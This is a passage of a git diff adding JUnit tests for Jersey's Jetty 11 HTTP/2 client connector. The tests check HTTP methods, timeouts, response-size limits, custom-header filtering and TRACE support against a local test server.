+ * A filter for appending and validating custom headers.
+ * <p>
+ * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
+ * </p>
+ * <p>
+ * On the server side, validates that each request has a custom header with a configured name and value.
+ * If the validation fails a HTTP 403 response is returned.
+ * </p>
+ */
+ public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
+
+ private final String headerName;
+ private final String headerValue;
+
+ public CustomHeaderFilter(String headerName, String headerValue) {
+ if (headerName == null || headerValue == null) {
+ throw new IllegalArgumentException("Header name and value must not be null.");
+ }
+ this.headerName = headerName;
+ this.headerValue = headerValue;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext ctx) throws IOException { // validate
+ if (!headerValue.equals(ctx.getHeaderString(headerName))) {
+ ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
+ .type(MediaType.TEXT_PLAIN)
+ .entity(String
+ .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
+ .build());
+ }
+ }
+
+ @Override
+ public void filter(ClientRequestContext ctx) throws IOException { // append
+ ctx.getHeaders().putSingle(headerName, headerValue);
+ }
+ }
+
+ /**
+ * Internal resource accessed from the managed client resource.
+ */
+ @Path("internal")
+ public static class InternalResource {
+
+ @GET
+ @Path("a")
+ @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
+ public String getA() {
+ return "a";
+ }
+
+ @GET
+ @Path("b")
+ @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
+ public String getB() {
+ return "b";
+ }
+ }
+
+ /**
+ * A resource that uses managed clients to retrieve values of internal
+ * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
+ * and require a specific custom header in a request to be set to a specific value.
+ * <p>
+ * Properly configured managed clients have a {@code CustomHeaderFilter} instance
+ * configured to insert the {@link CustomHeaderFeature.Require required} custom header
+ * with a proper value into the outgoing client requests.
+ * </p>
+ */
+ @Path("public")
+ public static class PublicResource {
+
+ @Uri("a")
+ @ClientA // resolves to <base>/internal/a
+ private WebTarget targetA;
+
+ @GET
+ @Produces("text/plain")
+ @Path("a")
+ public String getTargetA() {
+ return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
+ }
+
+ @GET
+ @Produces("text/plain")
+ @Path("b")
+ public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
+ return targetB.request(MediaType.TEXT_PLAIN).get();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
+ .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ public static class MyClientAConfig extends ClientConfig {
+
+ public MyClientAConfig() {
+ this.register(new CustomHeaderFilter("custom-header", "a"));
+ }
+ }
+
+ public static class MyClientBConfig extends ClientConfig {
+
+ public MyClientBConfig() {
+ this.register(new CustomHeaderFilter("custom-header", "b"));
+ }
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ /**
+ * Test that a connection via managed clients works properly.
+ *
+ * @throws Exception in case of test failure.
+ */
+ @Test
+ public void testManagedClient() throws Exception {
+ final WebTarget resource = target().path("public").path("{name}");
+ Response response;
+
+ response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
+ assertEquals(200, response.getStatus());
+ assertEquals("a", response.readEntity(String.class));
+
+ response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
+ assertEquals(200, response.getStatus());
+ assertEquals("b", response.readEntity(String.class));
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
new file mode 100644
index 0000000..8412c41
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.PATCH;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.ExecutionException;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class MethodTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
+
+ private static final String PATH = "test";
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @POST
+ public String post(String entity) {
+ return entity;
+ }
+
+ @PUT
+ public String put(String entity) {
+ return entity;
+ }
+
+ @PATCH
+ public String patch(String entity) {
+ return entity;
+ }
+
+ @DELETE
+ public String delete() {
+ return "DELETE";
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testGet() {
+ Response response = target(PATH).request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testGetAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().get().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPostAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPut() {
+ Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
+ assertEquals("PUT", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPutAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
+ assertEquals("PUT", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testDelete() {
+ Response response = target(PATH).request().delete();
+ assertEquals("DELETE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testDeleteAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().delete().get();
+ assertEquals("DELETE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPatch() {
+ Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
+ assertEquals("PATCH", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testOptionsWithEntity() {
+ Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
+ assertEquals(200, response.getStatus());
+ response.close();
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
new file mode 100644
index 0000000..1c14296
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+public class NoEntityTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @GET
+ public Response get() {
+ return Response.status(Response.Status.CONFLICT).build();
+ }
+
+ @POST
+ public void post(String entity) {
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testGet() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().get();
+ cr.close();
+ }
+ }
+
+ @Test
+ public void testGetWithClose() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().get();
+ cr.close();
+ }
+ }
+
+ @Test
+ public void testPost() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().post(null);
+ }
+ }
+
+ @Test
+ public void testPostWithClose() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().post(null);
+ cr.close();
+ }
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
new file mode 100644
index 0000000..e3b2c3d
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.net.URI;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class SyncResponseSizeTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName());
+
+ private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB
+
+ @Path("/test")
+ public static class TimeoutResource {
+
+ private static final byte[] data = new byte[maxBufferSize];
+
+ static {
+ Byte b = "a".getBytes()[0];
+ for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue();
+ }
+
+ @GET
+ @Path("/small")
+ public String getSmall() {
+ return "GET";
+ }
+
+ @GET
+ @Path("/big")
+ public String getBig() {
+ return new String(data);
+ }
+
+ @GET
+ @Path("/verybig")
+ public String getVeryBig() {
+ return new String(data) + "a";
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testDefaultSmall() {
+ Response r = target("test/small").request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testDefaultTooBig() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/big").request().get();
+ fail("Exception expected.");
+ } catch (ProcessingException e) {
+ // Buffering capacity ... exceeded.
+ assertTrue(ExecutionException.class.isInstance(e.getCause()));
+ assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testCustomBig() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ Response r = t.path("test/big").request().get();
+ String p = r.readEntity(String.class);
+ assertEquals(p.length(), maxBufferSize);
+ } catch (ProcessingException e) {
+ assertThat("Unexpected processing exception cause",
+ e.getCause(), instanceOf(TimeoutException.class));
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testCustomTooBig() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/verybig").request().get();
+ fail("Exception expected.");
+ } catch (ProcessingException e) {
+ // Buffering capacity ... exceeded.
+ assertTrue(ExecutionException.class.isInstance(e.getCause()));
+ assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+ } finally {
+ c.close();
+ }
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
new file mode 100644
index 0000000..59f242e
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.DefaultValue;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.QueryParam;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.StreamingOutput;
+import java.net.URI;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TimeoutTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
+
+ @Path("/test")
+ public static class TimeoutResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @GET
+ @Path("timeout")
+ public String getTimeout() {
+ try {
+ Thread.sleep(2000);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ return "GET";
+ }
+
+ /**
+ * Long-running streaming request
+ *
+ * @param count number of packets send
+ * @param pauseMillis pause between each packets
+ */
+ @GET
+ @Path("stream")
+ public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count,
+ @QueryParam("pauseMillis") int pauseMillis) {
+ StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis);
+
+ return Response.ok(streamingOutput)
+ .build();
+ }
+ }
+
+ private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) {
+
+ return output -> {
+ try {
+ TimeUnit.MILLISECONDS.sleep(startMillis);
+ }
+ catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
+ output.write("begin\n".getBytes(StandardCharsets.UTF_8));
+ output.flush();
+ for (int i = 0; i < count; i++) {
+ try {
+ TimeUnit.MILLISECONDS.sleep(pauseMillis);
+ }
+ catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
+
+ output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8));
+ output.flush();
+ }
+ output.write("end".getBytes(StandardCharsets.UTF_8));
+ };
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testFast() {
+ Response r = target("test").request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testSlow() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/timeout").request().get();
+ fail("Timeout expected.");
+ } catch (ProcessingException e) {
+ assertThat("Unexpected processing exception cause",
+ e.getCause(), instanceOf(TimeoutException.class));
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testTimeoutInRequest() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig();
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
+ fail("Timeout expected.");
+ } catch (ProcessingException e) {
+ assertThat("Unexpected processing exception cause",
+ e.getCause(), instanceOf(TimeoutException.class));
+ } finally {
+ c.close();
+ }
+ }
+
+ /**
+ * Test accessing an operation that is streaming slowly
+ *
+ * @throws ProcessingException in case of a test error.
+ */
+ @Test
+ public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception {
+
+ int count = 5;
+ int pauseMillis = 50;
+
+ final Response response = target("test")
+ .property(ClientProperties.READ_TIMEOUT, 100L)
+ .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+ .path("stream")
+ .queryParam("count", count)
+ .queryParam("pauseMillis", pauseMillis)
+ .request().get();
+
+ assertTrue(response.readEntity(String.class).contains("end"));
+ }
+
+ @Test
+ public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception {
+
+ int count = 5;
+ int pauseMillis = 50;
+
+ try {
+ target("test")
+ .property(JettyClientProperties.TOTAL_TIMEOUT, 100L)
+ .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+ .path("stream")
+ .queryParam("count", count)
+ .queryParam("pauseMillis", pauseMillis)
+ .request().get();
+
+ fail("This operation should trigger total timeout");
+ } catch (ProcessingException e) {
+ assertEquals(TimeoutException.class, e.getCause().getClass());
+ }
+ }
+
+ /**
+ * Test accessing an operation that is streaming slowly
+ *
+ * @throws ProcessingException in case of a test error.
+ */
+ @Test
+ public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception {
+
+ int start = 150;
+ int count = 5;
+ int pauseMillis = 50;
+
+ try {
+ target("test")
+ .property(ClientProperties.READ_TIMEOUT, 100L)
+ .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+ .path("stream")
+ .queryParam("start", start)
+ .queryParam("count", count)
+ .queryParam("pauseMillis", pauseMillis)
+ .request().get();
+ fail("This operation should trigger idle timeout");
+ } catch (ProcessingException e) {
+ assertEquals(TimeoutException.class, e.getCause().getClass());
+ }
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
new file mode 100644
index 0000000..4bf0bda
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java
@@ -0,0 +1,228 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.process.Inflector;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.model.Resource;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Request;
+import jakarta.ws.rs.core.Response;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TraceSupportTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
+
+ /**
+ * Programmatic tracing root resource path.
+ */
+ public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
+
+ /**
+ * Annotated class-based tracing root resource path.
+ */
+ public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
+
+ @HttpMethod(TRACE.NAME)
+ @Target(ElementType.METHOD)
+ @Retention(RetentionPolicy.RUNTIME)
+ public @interface TRACE {
+ public static final String NAME = "TRACE";
+ }
+
+ @Path(ROOT_PATH_ANNOTATED)
+ public static class TracingResource {
+
+ @TRACE
+ @Produces("text/plain")
+ public String trace(Request request) {
+ return stringify((ContainerRequest) request);
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TracingResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
+ resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
+
+ @Override
+ public Response apply(ContainerRequestContext request) {
+ if (request == null) {
+ return Response.noContent().build();
+ } else {
+ return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
+ }
+ }
+ });
+
+ return config.registerResources(resourceBuilder.build());
+
+ }
+
+ private String[] expectedFragmentsProgrammatic = new String[]{
+ "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
+ };
+ private String[] expectedFragmentsAnnotated = new String[]{
+ "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
+ };
+
+ private WebTarget prepareTarget(String path) {
+ final WebTarget target = target();
+ target.register(LoggingFeature.class);
+ return target.path(path);
+ }
+
+ @Test
+ public void testProgrammaticApp() throws Exception {
+ Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
+
+ assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+ String responseEntity = response.readEntity(String.class);
+ for (String expectedFragment : expectedFragmentsProgrammatic) {
+ assertTrue(// toLowerCase - http header field names are case insensitive
+ responseEntity.contains(expectedFragment),
+ "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+ }
+ }
+
+ @Test
+ public void testAnnotatedApp() throws Exception {
+ Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
+
+ assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+ String responseEntity = response.readEntity(String.class);
+ for (String expectedFragment : expectedFragmentsAnnotated) {
+ assertTrue(// toLowerCase - http header field names are case insensitive
+ responseEntity.contains(expectedFragment),
+ "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+ }
+ }
+
+ @Test
+ public void testTraceWithEntity() throws Exception {
+ _testTraceWithEntity(false, false);
+ }
+
+ @Test
+ public void testAsyncTraceWithEntity() throws Exception {
+ _testTraceWithEntity(true, false);
+ }
+
+ @Test
+ public void testTraceWithEntityJettyConnector() throws Exception {
+ _testTraceWithEntity(false, true);
+ }
+
+ @Test
+ public void testAsyncTraceWithEntityJettyConnector() throws Exception {
+ _testTraceWithEntity(true, true);
+ }
+
+ private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
+ try {
+ WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
+ target = target.path(ROOT_PATH_ANNOTATED);
+
+ final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
+
+ Response response;
+ if (!isAsync) {
+ response = target.request().method(TRACE.NAME, entity);
+ } else {
+ response = target.request().async().method(TRACE.NAME, entity).get();
+ }
+
